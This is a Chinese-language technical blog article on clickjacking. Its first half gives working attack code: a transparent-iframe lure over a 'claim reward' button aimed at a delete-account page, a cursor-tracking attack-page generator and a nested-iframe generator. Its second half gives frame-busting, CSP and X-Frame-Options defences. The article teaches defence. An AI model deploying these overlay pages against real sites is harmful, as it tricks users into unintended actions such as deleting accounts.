点击劫持技术剖析

发布时间: 2025-03-23 13:14

↑

# 点击劫持技术剖析

## 点击劫持概述

点击劫持（Clickjacking）是一种通过视觉欺骗手段诱导用户点击看似无害但实际上是恶意的页面元素的攻击技术。攻击者通过将目标网站嵌入透明的iframe中，并将其覆盖在一个看似无害的页面之上，当用户与表面的页面交互时，实际上是在不知情的情况下操作了被劫持的网站。

## 攻击原理

### 1. 基本攻击方式

```html

<!DOCTYPE html>
<html>
<head>
    <style>
        .game-button {
            position: absolute;
            top: 200px;
            left: 150px;
            padding: 20px;
            background: red;
            color: white;
            cursor: pointer;
            z-index: 2;
        }
        
        .hidden-frame {
            position: absolute;
            top: 0;
            left: 0;
            width: 500px;
            height: 500px;
            opacity: 0.0001;
            z-index: 1;
        }
    </style>
</head>
<body>
    
    <button class="game-button">
        点击领取奖励
    </button>
    
    
    <iframe src="https://target-site.com/delete-account"
            class="hidden-frame"></iframe>
</body>
</html>
```

### 2. 高级攻击技术

```javascript
// 点击劫持攻击工具
class ClickjackingAttack {
    constructor(target, decoy) {
        this.targetUrl = target;
        this.decoyContent = decoy;
    }
    
    // 创建攻击页面
    createAttackPage() {
        return `
            <!DOCTYPE html>
            <html>
            <head>
                <style>
                    .container {
                        position: relative;
                        width: 500px;
                        height: 500px;
                    }
                    
                    .decoy-layer {
                        position: absolute;
                        top: 0;
                        left: 0;
                        z-index: 2;
                        width: 100%;
                        height: 100%;
                        pointer-events: none;
                    }
                    
                    .target-frame {
                        position: absolute;
                        top: 0;
                        left: 0;
                        width: 100%;
                        height: 100%;
                        opacity: 0.0001;
                        z-index: 1;
                    }
                </style>
            </head>
            <body>
                <div class="container">
                    <div class="decoy-layer">
                        ${this.decoyContent}
                    </div>
                    
                    <iframe src="${this.targetUrl}"
                            class="target-frame"></iframe>
                </div>
            </body>
            </html>
        `;
    }
    
    // 使用光标跟踪
    enableCursorTracking() {
        const script = `
            <script>
                document.addEventListener('mousemove', (e) => {
                    const iframe = document.querySelector('.target-frame');
                    const rect = iframe.getBoundingClientRect();
                    
                    iframe.style.top = (e.clientY - rect.height/2) + 'px';
                    iframe.style.left = (e.clientX - rect.width/2) + 'px';
                });
            </script>
        `;
        
        return this.createAttackPage() + script;
    }
}
```

### 3. 多层点击劫持

```javascript
// 多层点击劫持攻击
class NestedClickjacking {
    constructor() {
        this.layers = [];
    }
    
    // 添加攻击层
    addLayer(url, position) {
        this.layers.push({
            url: url,
            position: position
        });
    }
    
    // 生成HTML
    generateHTML() {
        let styles = `
            <style>
                .clickjacking-container {
                    position: relative;
                    width: 100%;
                    height: 100vh;
                }
            </style>
        `;
        
        let frames = this.layers.map((layer, index) => `
            <iframe src="${layer.url}"
                    style="
                        position: absolute;
                        top: ${layer.position.top}px;
                        left: ${layer.position.left}px;
                        width: ${layer.position.width}px;
                        height: ${layer.position.height}px;
                        opacity: ${index === this.layers.length - 1 ? 0.0001 : 1};
                        z-index: ${index + 1};
                    ">
            </iframe>
        `).join('');
        
        return `
            <!DOCTYPE html>
            <html>
            <head>
                ${styles}
            </head>
            <body>
                <div class="clickjacking-container">
                    ${frames}
                </div>
            </body>
            </html>
        `;
    }
}
```

## 防护措施

### 1. Frame Busting

```javascript
// 基本的Frame Busting代码
if (window !== window.top) {
    window.top.location = window.location;
}

// 更安全的实现
class FrameBuster {
    constructor() {
        this.checkFraming();
        this.preventClickjacking();
    }
    
    checkFraming() {
        try {
            if (window.self !== window.top) {
                throw new Error('Framing not allowed');
            }
        } catch (e) {
            window.top.location = window.self.location;
        }
    }
    
    preventClickjacking() {
        // 禁止iframe内的指针事件
        if (window !== window.top) {
            document.body.style.pointerEvents = 'none';
        }
        
        // 添加视觉提示
        window.addEventListener('blur', () => {
            this.showWarning();
        });
    }
    
    showWarning() {
        const warning = document.createElement('div');
        warning.style.cssText = `
            position: fixed;
            top: 0;
            left: 0;
            width: 100%;
            padding: 10px;
            background: red;
            color: white;
            text-align: center;
            z-index: 999999;
        `;
        warning.textContent = '警告：当前页面可能被嵌入恶意网站中';
        document.body.appendChild(warning);
    }
}
```

### 2. CSP配置

```javascript
// CSP配置生成器
class CSPGenerator {
    constructor() {
        this.directives = new Map();
    }
    
    // 设置frame-ancestors
    setFrameAncestors(sources) {
        this.directives.set('frame-ancestors', sources);
        return this;
    }
    
    // 生成CSP头部
    generateHeader() {
        const parts = [];
        
        for (let [directive, sources] of this.directives) {
            parts.push(`${directive} ${sources.join(' ')}`);
        }
        
        return parts.join('; ');
    }
}

// 使用示例
app.use((req, res, next) => {
    const csp = new CSPGenerator()
        .setFrameAncestors(["'none'"])
        .generateHeader();
    
    res.setHeader('Content-Security-Policy', csp);
    next();
});
```

### 3. X-Frame-Options

```javascript
// X-Frame-Options中间件
class XFrameOptionsMiddleware {
    constructor(option = 'DENY') {
        this.option = option;
    }
    
    apply(req, res, next) {
        res.setHeader('X-Frame-Options', this.option);
        next();
    }
    
    static deny() {
        return new XFrameOptionsMiddleware('DENY');
    }
    
    static sameOrigin() {
        return new XFrameOptionsMiddleware('SAMEORIGIN');
    }
    
    static allowFrom(origin) {
        return new XFrameOptionsMiddleware(
            `ALLOW-FROM ${origin}`
        );
    }
}

// 使用示例
app.use((req, res, next) => {
    XFrameOptionsMiddleware.deny()
        .apply(req, res, next);
});
```

## 最佳实践

### 1. 服务器配置

```javascript
// 安全头部配置
const securityHeaders = {
    // 禁止所有框架嵌入
    'X-Frame-Options': 'DENY',
    
    // CSP配置
    'Content-Security-Policy':
        "frame-ancestors 'none'; " +
        "default-src 'self'; " +
        "script-src 'self';",
    
    // 其他安全头部
    'X-Content-Type-Options': 'nosniff',
    'X-XSS-Protection': '1; mode=block',
    'Referrer-Policy': 'same-origin'
};

// 应用安全头部
app.use((req, res, next) => {
    Object.entries(securityHeaders).forEach(
        ([header, value]) => {
            res.setHeader(header, value);
        }
    );
    next();
});
```

### 2. 客户端防护

```javascript
// 客户端安全检查
class SecurityChecker {
    constructor() {
        this.checks = [
            this.checkFraming,
            this.checkReferrer,
            this.checkVisibility
        ];
    }
    
    // 运行所有安全检查
    runChecks() {
        return this.checks.every(check => check());
    }
    
    // 检查是否被嵌入框架
    checkFraming() {
        try {
            return window.self === window.top;
        } catch {
            return false;
        }
    }
    
    // 检查引用来源
    checkReferrer() {
        const referrer = document.referrer;
        const allowedDomains = [
            'trusted-site.com',
            'partner-site.com'
        ];
        
        if (!referrer) return true;
        
        return allowedDomains.some(domain =>
            referrer.includes(domain)
        );
    }
    
    // 检查元素可见性
    checkVisibility() {
        const elements = document.querySelectorAll(
            'button, a, input[type="submit"]'
        );
        
        return Array.from(elements).every(element => {
            const style = window.getComputedStyle(element);
            return style.opacity !== '0' &&
                   style.visibility !== 'hidden' &&
                   style.display !== 'none';
        });
    }
}
```

## 总结

点击劫持防护需要多层次的安全措施：

1. 服务器端
   - 配置安全头部
   - 实施CSP策略
   - 验证请求来源

2. 客户端
   - 实施Frame Busting
   - 检查页面完整性
   - 监控异常行为

3. 开发实践
   - 使用安全框架
   - 实施安全检查
   - 定期安全评估

元素码农